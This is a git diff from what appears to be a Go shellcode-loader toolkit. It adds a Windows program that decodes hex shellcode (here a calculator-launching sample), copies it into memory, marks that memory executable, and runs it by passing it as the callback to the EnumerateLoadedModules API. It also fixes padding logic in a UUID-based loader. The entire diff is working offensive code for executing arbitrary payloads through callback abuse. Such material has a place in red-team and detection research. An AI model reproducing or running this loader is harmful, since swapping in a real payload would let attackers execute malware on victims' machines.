diff --git a/cmd/EnumerateLoadedModules/main.go b/cmd/EnumerateLoadedModules/main.go new file mode 100644 index 0000000..259da98 --- /dev/null +++ b/cmd/EnumerateLoadedModules/main.go @@ -0,0 +1,124 @@ +// +build windows + +// This technique is semi-unreliable because the shellcode is sometimes executed multiple times + +package main + +import ( + // Standard + + "encoding/hex" + "flag" + "fmt" + "log" + "syscall" + "unsafe" + + // Sub Repositories + "golang.org/x/sys/windows" +) + +func main() { + verbose := flag.Bool("verbose", false, "Enable verbose output") + debug := flag.Bool("debug", false, "Enable debug output") + flag.Parse() + + // Pop Calc Shellcode + shellcode, err := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3") + if err != nil { + log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", err)) + } + + if *debug { + fmt.Println("[DEBUG]Calling VirtualAlloc with PAGE_READWRITE...") + } + addr, errVirtualAlloc := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) + + if errVirtualAlloc != nil { + log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error())) + } + + if addr == 0 { + log.Fatal("[!]VirtualAlloc failed and returned 0") + } + + if *verbose { + fmt.Println(fmt.Sprintf("[-]Allocated %d bytes", len(shellcode))) + } + + if *debug { + fmt.Println("[DEBUG]Copying shellcode to memory with RtlCopyMemory...") + } + + ntdll := windows.NewLazySystemDLL("ntdll.dll") + RtlCopyMemory := ntdll.NewProc("RtlCopyMemory") + + _, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) + + if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error())) + } + + if *verbose { + fmt.Println("[-]Shellcode copied to memory") + } + + if *debug { + fmt.Println("[DEBUG]Calling VirtualProtect to change memory region to PAGE_EXECUTE_READ...") + } + var oldProtect uint32 + errVirtualProtect := windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect) + if errVirtualProtect != nil { + log.Fatal(fmt.Sprintf("[!]Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error())) + } + if *verbose { + fmt.Println("[-]Shellcode memory region changed to PAGE_EXECUTE_READ") + } + + if *debug { + fmt.Println("[DEBUG]Calling GetCurrentProcess...") + } + kernel32 := windows.NewLazySystemDLL("kernel32") + GetCurrentProcess := kernel32.NewProc("GetCurrentProcess") + // HANDLE GetCurrentProcess(); + // https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getcurrentprocess + handle, _, err := GetCurrentProcess.Call() + if err != syscall.Errno(0) { + log.Fatal(fmt.Sprintf("[!]Error calling GetCurrentProcess:\r\n%s", err)) + } + + if *debug { + fmt.Println("[DEBUG]Calling EnumerateLoadedModules...") + } + + dbghelp := windows.NewLazySystemDLL("Dbghelp") + enumerateLoadedModules := dbghelp.NewProc("EnumerateLoadedModules") + // BOOL IMAGEAPI EnumerateLoadedModules( + // HANDLE hProcess, + // PENUMLOADED_MODULES_CALLBACK EnumLoadedModulesCallback, + // PVOID UserContext + // ); + // https://docs.microsoft.com/en-us/windows/win32/api/dbghelp/nf-dbghelp-enumerateloadedmodules + _, _, err = enumerateLoadedModules.Call(handle, addr, 0) + if err != syscall.Errno(0) { + log.Fatal(fmt.Sprintf("[!]Error calling EnumerateLoadedModules:\r\n%s", err)) + } + + if *verbose { + fmt.Println("[+]Shellcode executed") + } +} + +// BOOL PenumloadedModulesCallback( +// PCSTR ModuleName, +// ULONG ModuleBase, +// ULONG ModuleSize, +// PVOID UserContext +// ) + +type PENUMLOADED_MODULES_CALLBACK struct { + ModuleName uintptr // The name of the enumerated module + ModuleBase uintptr // The base address of the module + ModuleSize uintptr // The size of the module, in bytes + UserContext uintptr // Optional user-defined data +} diff --git a/cmd/UuidFromString/main.go b/cmd/UuidFromString/main.go index 97483e2..c47a794 100644 --- a/cmd/UuidFromString/main.go +++ b/cmd/UuidFromString/main.go @@ -161,7 +161,7 @@ func main() { func shellcodeToUUID(shellcode []byte) ([]string, error) { // Pad shellcode to 16 bytes, the size of a UUID - if 16-len(shellcode)%16 > 16 { + if 16-len(shellcode)%16 < 16 { pad := bytes.Repeat([]byte{byte(0x90)}, 16-len(shellcode)%16) shellcode = append(shellcode, pad...) }